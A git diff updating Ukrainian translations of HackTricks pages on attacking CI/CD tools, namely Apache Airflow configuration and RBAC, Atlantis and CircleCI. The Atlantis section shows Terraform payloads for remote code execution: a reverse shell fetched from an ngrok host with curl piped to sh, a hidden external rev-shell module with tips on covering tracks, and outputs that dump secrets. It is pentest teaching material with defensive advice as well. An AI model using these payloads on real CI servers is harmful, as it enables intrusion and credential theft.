a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md +++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md @@ -1,16 +1,16 @@ -# Airflow Configuration +# Налаштування Airflow {{#include ../../banners/hacktricks-training.md}} -## Configuration File +## Файл конфігурації -**Apache Airflow** генерує **файл конфігурації** на всіх машинах airflow, який називається **`airflow.cfg`** в домашньому каталозі користувача airflow. Цей файл конфігурації містить інформацію про конфігурацію і **може містити цікаву та чутливу інформацію.** +**Apache Airflow** генерує **файл конфігурації** на всіх машинах airflow, який називається **`airflow.cfg`** в домашньому каталозі користувача airflow. Цей файл конфігурації містить інформацію про налаштування і **може містити цікаву та чутливу інформацію.** -**Є два способи доступу до цього файлу: шляхом компрометації якоїсь машини airflow або доступом до веб-консолі.** +**Існує два способи доступу до цього файлу: шляхом компрометації деякої машини airflow або доступом до веб-консолі.** Зверніть увагу, що **значення всередині файлу конфігурації** **можуть не бути тими, що використовуються**, оскільки ви можете перезаписати їх, встановивши змінні середовища, такі як `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`. -Якщо у вас є доступ до **файлу конфігурації на веб-сервері**, ви можете перевірити **реальну запущену конфігурацію** на тій же сторінці, де відображається конфігурація.\ +Якщо у вас є доступ до **файлу конфігурації на веб-сервері**, ви можете перевірити **реальну конфігурацію, що виконується**, на тій же сторінці, де відображається конфігурація.\ Якщо у вас є **доступ до якоїсь машини в середовищі airflow**, перевірте **середовище**. Деякі цікаві значення для перевірки при читанні файлу конфігурації: @@ -23,10 +23,10 @@ - **`auth_backend`**: [**Згідно з документацією**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) кілька варіантів можуть бути використані для налаштування, хто може отримати доступ до API: - `airflow.api.auth.backend.deny_all`: **За замовчуванням ніхто** не може отримати доступ до API - `airflow.api.auth.backend.default`: **Усі можуть** отримати доступ без аутентифікації -- `airflow.api.auth.backend.kerberos_auth`: Для налаштування **керберосної аутентифікації** +- `airflow.api.auth.backend.kerberos_auth`: Для налаштування **аутентифікації kerberos** - `airflow.api.auth.backend.basic_auth`: Для **базової аутентифікації** - `airflow.composer.api.backend.composer_auth`: Використовує аутентифікацію композиторів (GCP) (з [**тут**](https://cloud.google.com/composer/docs/access-airflow-api)). -- `composer_auth_user_registration_role`: Це вказує на **роль**, яку **користувач композиторів** отримає всередині **airflow** (**Op** за замовчуванням). +- `composer_auth_user_registration_role`: Це вказує на **роль**, яку **користувач композиторів** отримає в **airflow** (**Op** за замовчуванням). - Ви також можете **створити свій власний метод аутентифікації** за допомогою python. - **`google_key_path`:** Шлях до **ключа облікового запису служби GCP** @@ -45,7 +45,7 @@ ### \[core] -- **`dag_discovery_safe_mode`**: Увімкнено за замовчуванням. Під час виявлення DAG ігноруйте будь-які файли, які не містять рядки `DAG` та `airflow`. +- **`dag_discovery_safe_mode`**: Увімкнено за замовчуванням. При виявленні DAG ігноруйте будь-які файли, які не містять рядків `DAG` та `airflow`. - **`fernet_key`**: Ключ для зберігання зашифрованих змінних (симетричний) - **`hide_sensitive_var_conn_fields`**: Увімкнено за замовчуванням, приховує чутливу інформацію про з'єднання. - **`security`**: Який модуль безпеки використовувати (наприклад, kerberos) @@ -78,7 +78,7 @@ ### \[webserver] - **`cookie_samesite`**: За замовчуванням це **Lax**, тому це вже найслабше можливе значення -- **`cookie_secure`**: Встановіть **безпечний прапор** на сесійне cookie +- **`cookie_secure`**: Встановіть **прапор безпеки** на сесійне cookie - **`expose_config`**: За замовчуванням False, якщо true, **конфігурацію** можна **читати** з веб **консолі** - **`expose_stacktrace`**: За замовчуванням це True, це покаже **python tracebacks** (можливо, корисно для зловмисника) - **`secret_key`**: Це **ключ, який використовується flask для підпису cookie** (якщо у вас є це, ви можете **видавати себе за будь-якого користувача в Airflow**) @@ -86,7 +86,7 @@ - **`web_server_ssl_key`**: **Шлях** до **SSL** **ключа** - **`x_frame_enabled`**: За замовчуванням **True**, тому за замовчуванням клікджекинг неможливий -### Web Authentication +### Веб-аутентифікація За замовчуванням **веб-аутентифікація** вказується у файлі **`webserver_config.py`** і налаштовується як ```bash diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md index 49889eddd..feaa286b7 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md +++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md @@ -14,9 +14,9 @@ Зверніть увагу, що **адміністратори** можуть **створювати більше ролей** з більш **детальними дозволами**. -Також зверніть увагу, що єдина роль за замовчуванням з **дозволом на перегляд користувачів і ролей - це Admin, навіть Op** не зможе цього зробити. +Також зверніть увагу, що єдина стандартна роль з **дозволом на перегляд користувачів і ролей - це Admin, навіть Op** не зможе цього зробити. -### Стандартні Дозволи +### Стандартні дозволи Це стандартні дозволи для стандартних ролей: diff --git a/src/pentesting-ci-cd/atlantis-security.md b/src/pentesting-ci-cd/atlantis-security.md index d908489cb..05e34a72f 100644 --- a/src/pentesting-ci-cd/atlantis-security.md +++ b/src/pentesting-ci-cd/atlantis-security.md @@ -10,7 +10,7 @@ Atlantis в основному допомагає вам запускати terr ### Local Lab -1. Перейдіть на **сторінку релізів atlantis** в [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) і **завантажте** той, що вам підходить. +1. Перейдіть на **сторінку релізів atlantis** в [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) і **завантажте** ту, яка вам підходить. 2. Створіть **персональний токен** (з доступом до репозиторіїв) вашого **github** користувача. 3. Виконайте `./atlantis testdrive`, і він створить **демо репозиторій**, який ви можете використовувати для **взаємодії з atlantis**. 1. Ви можете отримати доступ до веб-сторінки за адресою 127.0.0.1:4141. @@ -28,24 +28,24 @@ Atlantis в основному допомагає вам запускати terr #### Webhooks -Atlantis використовує за бажанням [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) для перевірки, що **webhooks**, які він отримує від вашого Git хоста, є **легітимними**. +Atlantis за бажанням використовує [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) для перевірки, що **webhooks**, які він отримує від вашого Git хоста, є **легітимними**. Один зі способів підтвердити це - **дозволити запити лише з IP-адрес** вашого Git хоста, але простіший спосіб - використовувати Webhook Secret. -Зверніть увагу, що якщо ви не використовуєте приватний сервер github або bitbucket, вам потрібно буде відкрити вебхуки для Інтернету. +Зверніть увагу, що якщо ви не використовуєте приватний сервер github або bitbucket, вам потрібно буде відкрити веб-хуки для Інтернету. > [!WARNING] -> Atlantis буде **відкривати вебхуки**, щоб git сервер міг надсилати йому інформацію. З точки зору атакуючого було б цікаво знати, **чи можете ви надсилати йому повідомлення**. +> Atlantis буде **відкривати веб-хуки**, щоб git сервер міг надсилати йому інформацію. З точки зору атакуючого було б цікаво дізнатися, **чи можете ви надсилати йому повідомлення**. #### Provider Credentials [З документації:](https://www.runatlantis.io/docs/provider-credentials.html) -Atlantis запускає Terraform, просто **виконуючи команди `terraform plan` та `apply`** на сервері, **на якому розміщено Atlantis**. Так само, як і при запуску Terraform локально, Atlantis потребує облікових даних для вашого конкретного провайдера. +Atlantis запускає Terraform, просто **виконуючи команди `terraform plan` та `apply`** на сервері, на якому **розміщено Atlantis**. Так само, як і при запуску Terraform локально, Atlantis потребує облікових даних для вашого конкретного провайдера. Вам вирішувати, як ви [надаєте облікові дані](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) для вашого конкретного провайдера в Atlantis: -- Helm Chart для Atlantis [документація](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) та [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) мають свої механізми для облікових даних провайдера. Читайте їх документацію. +- Helm Chart Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) та [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) мають свої механізми для облікових даних провайдера. Читайте їх документацію. - Якщо ви запускаєте Atlantis у хмарі, багато хмар мають способи надати доступ до API хмари для додатків, що працюють на них, наприклад: - [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Шукайте "EC2 Role") - [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference) @@ -54,22 +54,22 @@ Atlantis запускає Terraform, просто **виконуючи кома - Використовуйте [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) для отримання облікових даних провайдера. > [!WARNING] -> **Контейнер**, в якому **Atlantis** **працює**, ймовірно, **міститиме привілейовані облікові дані** для провайдерів (AWS, GCP, Github...), якими керує Atlantis через Terraform. +> **Контейнер**, в якому **працює Atlantis**, ймовірно, **міститиме привілейовані облікові дані** для провайдерів (AWS, GCP, Github...), якими керує Atlantis через Terraform. #### Web Page -За замовчуванням Atlantis запустить **веб-сторінку на порту 4141 на localhost**. Ця сторінка просто дозволяє вам увімкнути/вимкнути atlantis apply і перевірити статус плану репозиторіїв та розблокувати їх (вона не дозволяє змінювати речі, тому не є дуже корисною). +За замовчуванням Atlantis запустить **веб-сторінку на порту 4141 на localhost**. Ця сторінка просто дозволяє вам увімкнути/вимкнути atlantis apply і перевірити статус плану репозиторіїв та розблокувати їх (вона не дозволяє вносити зміни, тому не є дуже корисною). -Ви, ймовірно, не знайдете її відкритою для Інтернету, але, здається, за замовчуванням **не потрібні облікові дані** для доступу до неї (і якщо вони потрібні, `atlantis`:`atlantis` є **за замовчуванням**). +Ви, напевно, не знайдете її відкритою для Інтернету, але здається, що за замовчуванням **жодні облікові дані не потрібні** для доступу до неї (а якщо потрібні, то `atlantis`:`atlantis` є **за замовчуванням**). ### Server Configuration -Конфігурацію для `atlantis server` можна вказати через командні прапорці, змінні середовища, конфігураційний файл або комбінацію трьох. +Конфігурацію для `atlantis server` можна вказати через командні рядки, змінні середовища, конфігураційний файл або комбінацію трьох. -- Ви можете знайти [**тут список прапорців**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration), підтримуваних сервером Atlantis. -- Ви можете знайти [**тут, як перетворити параметр конфігурації на змінну середовища**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables). +- Ви можете знайти [**список прапорців**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration), підтримуваних сервером Atlantis. +- Ви можете знайти [**інформацію про те, як перетворити параметр конфігурації на змінну середовища**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables). -Значення обираються **в такому порядку**: +Значення вибираються **в такому порядку**: 1. Прапорці 2. Змінні середовища @@ -82,7 +82,7 @@ Atlantis запускає Terraform, просто **виконуючи кома Деякі конфігурації впливають на **те, як керуються репозиторії**. Однак можливо, що **кожен репозиторій вимагатиме різних налаштувань**, тому є способи вказати кожен репозиторій. Це порядок пріоритету: -1. Репозиторій [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) файл. Цей файл можна використовувати для вказівки, як atlantis повинен ставитися до репозиторію. Однак за замовчуванням деякі ключі не можуть бути вказані тут без деяких прапорців, що дозволяють це. +1. Репозиторій [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) файл. Цей файл можна використовувати для вказівки, як atlantis повинен обробляти репозиторій. Однак за замовчуванням деякі ключі не можуть бути вказані тут без деяких прапорців, що дозволяють це. 1. Ймовірно, потрібно дозволити прапорцями, такими як `allowed_overrides` або `allow_custom_workflows`. 2. [**Конфігурація на стороні сервера**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Ви можете передати її з прапорцем `--repo-config`, і це yaml, що конфігурує нові налаштування для кожного репозиторію (підтримуються regex). 3. **Значення за замовчуванням**. @@ -95,17 +95,17 @@ Atlantis дозволяє вказати, чи хочете ви, щоб **PR** **Scripts** -Конфігурація репозиторію може **вказувати скрипти** для виконання [**перед**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) та [**після**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) виконання **workflow**. +Конфігурація репозиторію може **вказувати скрипти** для виконання [**перед**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) та [**після**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) виконання **робочого процесу**. -Не існує жодної опції, що дозволяє **вказувати** ці скрипти у **репозиторії `/atlantis.yml`**. +Не існує жодної опції, яка дозволяє **вказувати** ці скрипти у **репозиторії `/atlantis.yml`**. **Workflow** -У конфігурації репозиторію (конфігурація на стороні сервера) ви можете [**вказати новий стандартний workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), або [**створити нові користувацькі workflows**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Ви також можете **вказати**, які **репозиторії** можуть **отримати доступ** до **нових** згенерованих.\ -Тоді ви можете дозволити файл **atlantis.yaml** кожного репозиторію **вказати workflow, який використовувати**. +У конфігурації репозиторію (конфігурація на стороні сервера) ви можете [**вказати новий робочий процес за замовчуванням**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow) або [**створити нові користувацькі робочі процеси**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Ви також можете **вказати**, які **репозиторії** можуть **отримати доступ** до **нових** згенерованих.\ +Тоді ви можете дозволити файлу **atlantis.yaml** кожного репозиторію **вказувати робочий процес для використання**. > [!CAUTION] -> Якщо прапорець [**конфігурації на стороні сервера**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` встановлено на **True**, workflows можуть бути **вказані** у **файлі `atlantis.yaml`** кожного репозиторію. Також потенційно потрібно, щоб **`allowed_overrides`** також вказував **`workflow`** для **перезапису workflow**, який буде використовуватися.\ +> Якщо прапорець [**конфігурації на стороні сервера**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` встановлено на **True**, робочі процеси можуть бути **вказані** у **файлі `atlantis.yaml`** кожного репозиторію. Також потенційно потрібно, щоб **`allowed_overrides`** також вказував **`workflow`** для **перезапису робочого процесу**, який буде використовуватися.\ > Це в основному надасть **RCE на сервері Atlantis будь-якому користувачу, який може отримати доступ до цього репозиторію**. > > ```yaml @@ -126,7 +126,7 @@ Atlantis дозволяє вказати, чи хочете ви, щоб **PR** **Conftest Policy Checking** -Atlantis підтримує виконання **на стороні сервера** [**conftest**](https://www.conftest.dev/) **політик** проти виходу плану. Загальні випадки використання цього кроку включають: +Atlantis підтримує виконання **політик conftest** [**на стороні сервера**](https://www.conftest.dev/) проти виходу плану. Загальні випадки використання цього кроку включають: - Заборону використання списку модулів - Підтвердження атрибутів ресурсу під час створення @@ -170,52 +170,52 @@ atlantis apply [options] -- [terraform apply flags] atlantis unlock #You might need to run this in a different PR atlantis plan -- -lock=false ``` -#### Atlantis plan RCE - Модифікація конфігурації в новому PR +#### Atlantis plan RCE - Зміна конфігурації в новому PR -Якщо у вас є права на запис у репозиторії, ви зможете створити нову гілку та згенерувати PR. Якщо ви можете **виконати `atlantis plan`** (або, можливо, це виконується автоматично) **ви зможете RCE всередині сервера Atlantis**. +Якщо у вас є права на запис у репозиторій, ви зможете створити нову гілку та згенерувати PR. Якщо ви можете **виконати `atlantis plan`** (або, можливо, це виконується автоматично) **ви зможете RCE всередині сервера Atlantis**. -Ви можете зробити це, змусивши [**Atlantis завантажити зовнішнє джерело даних**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Просто вставте корисне навантаження, подібне до наступного, у файл `main.tf`: +Ви можете зробити це, змусивши [**Atlantis завантажити зовнішнє джерело даних**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Просто вставте корисне навантаження, як показано нижче, у файл `main.tf`: ```json data "external" "example" { program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] } ``` -**Стійкіший Атак** +**Стійкіший напад** -You can perform this attack even in a **stealthier way**, by following this suggestions: +Ви можете виконати цей напад навіть **стійнкішим способом**, дотримуючись цих порад: -- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell: +- Замість того, щоб додавати rev shell безпосередньо у файл terraform, ви можете **завантажити зовнішній ресурс**, який містить rev shell: ```javascript module "not_rev_shell" { source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` -Ви можете знайти код rev shell за посиланням [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) +Ви можете знайти код rev shell за адресою [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) -- У зовнішньому ресурсі використовуйте функцію **ref**, щоб приховати **код terraform rev shell в гілці** всередині репозиторію, щось на зразок: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` -- **Замість** створення **PR до master** для активації Atlantis, **створіть 2 гілки** (test1 і test2) і створіть **PR з однієї на іншу**. Коли ви завершите атаку, просто **видаліть PR і гілки**. +- У зовнішньому ресурсі використовуйте функцію **ref**, щоб приховати **код terraform rev shell у гілці** всередині репозиторію, щось на зразок: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- **Замість** того, щоб створювати **PR до master**, щоб активувати Atlantis, **створіть 2 гілки** (test1 і test2) і створіть **PR з однієї на іншу**. Коли ви завершите атаку, просто **видаліть PR і гілки**. #### Atlantis план Скидання Секретів -Ви можете **скинути секрети, використані terraform**, запустивши `atlantis plan` (`terraform plan`), вставивши щось на зразок цього в файл terraform: +Ви можете **скинути секрети, використані terraform**, запустивши `atlantis plan` (`terraform plan`), вставивши щось на зразок цього у файл terraform: ```json output "dotoken" { value = nonsensitive(var.do_token) } ``` -#### Atlantis apply RCE - Зміна конфігурації в новому PR +#### Atlantis застосування RCE - Модифікація конфігурації в новому PR -Якщо у вас є права на запис у репозиторій, ви зможете створити нову гілку та згенерувати PR. Якщо ви можете **виконати `atlantis apply`, ви зможете RCE всередині сервера Atlantis**. +Якщо у вас є права на запис у репозиторії, ви зможете створити нову гілку та згенерувати PR. Якщо ви можете **виконати `atlantis apply`, ви зможете RCE всередині сервера Atlantis**. Однак вам зазвичай потрібно буде обійти деякі захисти: -- **Mergeable**: Якщо цей захист встановлений в Atlantis, ви можете виконати **`atlantis apply` тільки якщо PR є злитим** (що означає, що захист гілки потрібно обійти). +- **Mergeable**: Якщо цей захист встановлений в Atlantis, ви можете виконати **`atlantis apply` лише якщо PR є mergeable** (що означає, що захист гілки потрібно обійти). - Перевірте потенційні [**обходи захисту гілок**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) - **Approved**: Якщо цей захист встановлений в Atlantis, деякий **інший користувач повинен затвердити PR** перед тим, як ви зможете виконати `atlantis apply` - За замовчуванням ви можете зловживати [**токеном Gitbot для обходу цього захисту**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) Виконання **`terraform apply` на шкідливому файлі Terraform з** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ -Вам просто потрібно переконатися, що деякий payload, наприклад, наступні, закінчується у файлі `main.tf`: +Вам просто потрібно переконатися, що деякий payload, як наведені нижче, закінчується у файлі `main.tf`: ```json // Payload 1 to just steal a secret resource "null_resource" "secret_stealer" { @@ -243,7 +243,7 @@ atlantis plan -- -h #Get terraform plan help atlantis apply -- atlantis apply -- -h #Get terraform apply help ``` -Щось, що ви можете передати, це змінні середовища, які можуть бути корисними для обходу деяких захистів. Перевірте змінні середовища terraform на [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) +Щось, що ви можете передати, це змінні середовища, які можуть бути корисними для обходу деяких захистів. Перевірте змінні середовища terraform у [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) #### Користувацький робочий процес @@ -251,7 +251,7 @@ atlantis apply -- -h #Get terraform apply help Цю можливість було згадано в попередньому розділі: > [!CAUTION] -> Якщо прапор [**конфігурації на стороні сервера**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` встановлено на **True**, робочі процеси можуть бути **вказані** у **файлі `atlantis.yaml`** кожного репозиторію. Також потенційно потрібно, щоб **`allowed_overrides`** також вказував **`workflow`** для **перезапису робочого процесу**, який буде використовуватися. +> Якщо прапор [**конфігурації на стороні сервера**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` встановлено на **True**, робочі процеси можуть бути **вказані** у файлі **`atlantis.yaml`** кожного репозиторію. Також потенційно потрібно, щоб **`allowed_overrides`** також вказував **`workflow`** для **перезапису робочого процесу**, який буде використовуватися. > > Це, по суті, надасть **RCE на сервері Atlantis будь-якому користувачу, який може отримати доступ до цього репозиторію**. > @@ -282,9 +282,9 @@ apply_requirements: [] ``` #### PR Hijacking -Якщо хтось надсилає **`atlantis plan/apply` коментарі до ваших дійсних pull-запитів,** це призведе до запуску terraform, коли ви цього не хочете. +Якщо хтось надішле **`atlantis plan/apply` коментарі до ваших дійсних pull requests,** це призведе до запуску terraform, коли ви цього не хочете. -Більше того, якщо у вас не налаштовано **захист гілок** для запиту **перегляду** кожного PR, коли **новий коміт додається** до нього, хтось може **написати шкідливі конфігурації** (перевірте попередні сценарії) у конфігурації terraform, запустити `atlantis plan/apply` і отримати RCE. +Більше того, якщо у вас не налаштовано **захист гілок** для запиту на **повторну оцінку** кожного PR, коли **новий коміт додається** до нього, хтось може **написати шкідливі конфігурації** (перевірте попередні сценарії) у конфігурації terraform, запустити `atlantis plan/apply` і отримати RCE. Це **налаштування** у захисті гілок Github: @@ -317,18 +317,18 @@ Bitbucket Cloud **не підтримує секрети вебхуків**. Ц #### Don't Use On Public Repos -Оскільки будь-хто може коментувати публічні pull-запити, навіть з усіма доступними заходами безпеки, все ще небезпечно запускати Atlantis на публічних репозиторіях без належної конфігурації налаштувань безпеки. +Оскільки будь-хто може коментувати публічні pull requests, навіть з усіма доступними заходами безпеки, все ще небезпечно запускати Atlantis на публічних репозиторіях без належної конфігурації налаштувань безпеки. #### Don't Use `--allow-fork-prs` -Якщо ви працюєте на публічному репозиторії (що не рекомендується, див. вище), вам не слід встановлювати `--allow-fork-prs` (за замовчуванням false), оскільки будь-хто може відкрити pull-запит з їхнього форка до вашого репозиторію. +Якщо ви працюєте з публічним репозиторієм (що не рекомендується, див. вище), вам не слід встановлювати `--allow-fork-prs` (за замовчуванням false), оскільки будь-хто може відкрити pull request з їхнього форка до вашого репозиторію. #### `--repo-allowlist` -Atlantis вимагає, щоб ви вказали список дозволених репозиторіїв, з яких він прийматиме вебхуки за допомогою прапора `--repo-allowlist`. Наприклад: +Atlantis вимагає, щоб ви вказали список дозволених репозиторіїв, з яких він прийматиме вебхуки, за допомогою прапора `--repo-allowlist`. Наприклад: - Конкретні репозиторії: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests` -- Ваша вся організація: `--repo-allowlist=github.com/runatlantis/*` +- Вся ваша організація: `--repo-allowlist=github.com/runatlantis/*` - Кожен репозиторій у вашій установці GitHub Enterprise: `--repo-allowlist=github.yourcompany.com/*` - Усі репозиторії: `--repo-allowlist=*`. Корисно, коли ви в захищеній мережі, але небезпечно без також налаштування секрету вебхука. @@ -336,27 +336,27 @@ Atlantis вимагає, щоб ви вказали список дозволе #### Protect Terraform Planning -Якщо зловмисники надсилають pull-запити з шкідливим кодом Terraform у вашій моделі загрози, тоді ви повинні знати, що схвалення `terraform apply` недостатньо. Можливо, запустити шкідливий код у `terraform plan`, використовуючи [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) або вказавши шкідливий провайдер. Цей код може потім ексфільтрувати ваші облікові дані. +Якщо зловмисники надсилають pull requests з шкідливим кодом Terraform у вашій моделі загроз, ви повинні бути свідомі того, що схвалення `terraform apply` недостатньо. Можливо запустити шкідливий код у `terraform plan`, використовуючи [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) або вказавши шкідливий провайдер. Цей код може потім ексфільтрувати ваші облікові дані. Щоб запобігти цьому, ви можете: 1. Включити провайдери в образ Atlantis або хостити та заборонити вихід у виробництві. 2. Реалізувати протокол реєстру провайдерів внутрішньо та заборонити публічний вихід, таким чином ви контролюєте, хто має доступ на запис до реєстру. -3. Змінити крок `plan` у вашій [конфігурації репозиторія на стороні сервера](https://www.runatlantis.io/docs/server-side-repo-config.html) для перевірки на використання заборонених провайдерів або джерел даних або PR з неприпустимих користувачів. Ви також можете додати додаткову перевірку на цьому етапі, наприклад, вимагати "палець вгору" на PR перед тим, як дозволити `plan` продовжити. Conftest може бути корисним тут. +3. Змінити ваш [конфігурацію репозиторію на стороні сервера](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` крок, щоб перевірити використання заборонених провайдерів або джерел даних або PR з не дозволених користувачів. Ви також можете додати додаткову перевірку на цьому етапі, наприклад, вимагати "палець вгору" на PR перед тим, як дозволити `plan` продовжити. Conftest може бути корисним тут. #### Webhook Secrets -Atlantis слід запускати з налаштованими секретами вебхука через змінні середовища `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`. Навіть з установленим прапором `--repo-allowlist`, без секрету вебхука, зловмисники можуть надсилати запити до Atlantis, видаючи себе за репозиторій, який є в білому списку. Секрети вебхука забезпечують, що запити вебхука дійсно надходять від вашого постачальника VCS (GitHub або GitLab). +Atlantis слід запускати з налаштованими секретами вебхуків через змінні середовища `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`. Навіть з установленим прапором `--repo-allowlist`, без секрету вебхука, зловмисники можуть надсилати запити до Atlantis, видаючи себе за репозиторій, який є в білому списку. Секрети вебхуків забезпечують, що запити вебхуків дійсно надходять від вашого постачальника VCS (GitHub або GitLab). -Якщо ви використовуєте Azure DevOps, замість секретів вебхука додайте базове ім'я користувача та пароль. +Якщо ви використовуєте Azure DevOps, замість секретів вебхуків додайте базове ім'я користувача та пароль. #### Azure DevOps Basic Authentication -Azure DevOps підтримує надсилання заголовка базової аутентифікації у всіх подіях вебхука. Це вимагає використання HTTPS URL для вашого місця вебхука. +Azure DevOps підтримує надсилання заголовка базової аутентифікації у всіх подіях вебхуків. Це вимагає використання HTTPS URL для вашого місця розташування вебхука. #### SSL/HTTPS -Якщо ви використовуєте секрети вебхука, але ваш трафік йде через HTTP, тоді секрети вебхука можуть бути вкрадені. Увімкніть SSL/HTTPS, використовуючи прапори `--ssl-cert-file` та `--ssl-key-file`. +Якщо ви використовуєте секрети вебхуків, але ваш трафік йде через HTTP, то секрети вебхуків можуть бути вкрадені. Увімкніть SSL/HTTPS, використовуючи прапори `--ssl-cert-file` та `--ssl-key-file`. #### Enable Authentication on Atlantis Web Server diff --git a/src/pentesting-ci-cd/circleci-security.md b/src/pentesting-ci-cd/circleci-security.md index f862df257..c70055252 100644 --- a/src/pentesting-ci-cd/circleci-security.md +++ b/src/pentesting-ci-cd/circleci-security.md @@ -8,8 +8,8 @@ ### Permissions -**CircleCI** **успадковує дозволи** з github та bitbucket, пов'язані з **обліковим записом**, який входить.\ -У моєму тестуванні я перевірив, що, поки у вас є **права на запис у репозиторії в github**, ви зможете **керувати налаштуваннями проекту в CircleCI** (встановлювати нові ssh-ключі, отримувати api-ключі проекту, створювати нові гілки з новими конфігураціями CircleCI...). +**CircleCI** **успадковує дозволи** з github та bitbucket, пов'язані з **акаунтом**, який входить.\ +У моєму тестуванні я перевірив, що, поки у вас є **права на запис у репозиторії в github**, ви зможете **керувати налаштуваннями проекту в CircleCI** (встановити нові ssh ключі, отримати api ключі проекту, створити нові гілки з новими конфігураціями CircleCI...). Однак, вам потрібно бути **адміністратором репозиторію**, щоб **перетворити репозиторій на проект CircleCI**. @@ -59,7 +59,7 @@ SECRET: A secret ``` #### Секрети проекту -Це **секрети**, які будуть **доступні** лише **проекту** (для **будь-якої гілки**).\ +Це **секрети**, які будуть **доступні** лише **проекту** (будь-якій **гілці**).\ Ви можете побачити їх **оголошеними в** _https://app.circleci.com/settings/project/github/\/\/environment-variables_ ![](<../images/image (129).png>) @@ -69,21 +69,21 @@ SECRET: A secret #### Секрети контексту -Це секрети, які є **всередині організації**. За **замовчуванням будь-який репозиторій** зможе **доступати до будь-якого секрету**, збереженого тут: +Це секрети, які є **всередині організації**. За **замовчуванням будь-який репозиторій** зможе **доступатися до будь-якого секрету**, збереженого тут: ![](<../images/image (123).png>) > [!TIP] -> Однак зверніть увагу, що можна **вибрати іншу групу** (замість усіх учасників), щоб **надавати доступ до секретів лише конкретним людям**.\ -> Це наразі один з найкращих способів **підвищити безпеку секретів**, не дозволяючи всім отримувати до них доступ, а лише деяким. +> Однак, зверніть увагу, що можна **вибрати іншу групу** (замість усіх учасників), щоб **надавати доступ до секретів лише конкретним людям**.\ +> Це наразі один з найкращих способів **збільшити безпеку секретів**, щоб не дозволяти всім отримувати до них доступ, а лише деяким людям. ### Атаки #### Пошук секретів у відкритому тексті -Якщо у вас є **доступ до VCS** (наприклад, github), перевірте файл `.circleci/config.yml` **кожного репозиторію на кожній гілці** та **шукайте** потенційні **секрети у відкритому тексті**, збережені там. +Якщо у вас є **доступ до VCS** (наприклад, github), перевірте файл `.circleci/config.yml` кожного **репозиторію на кожній гілці** та **шукайте** 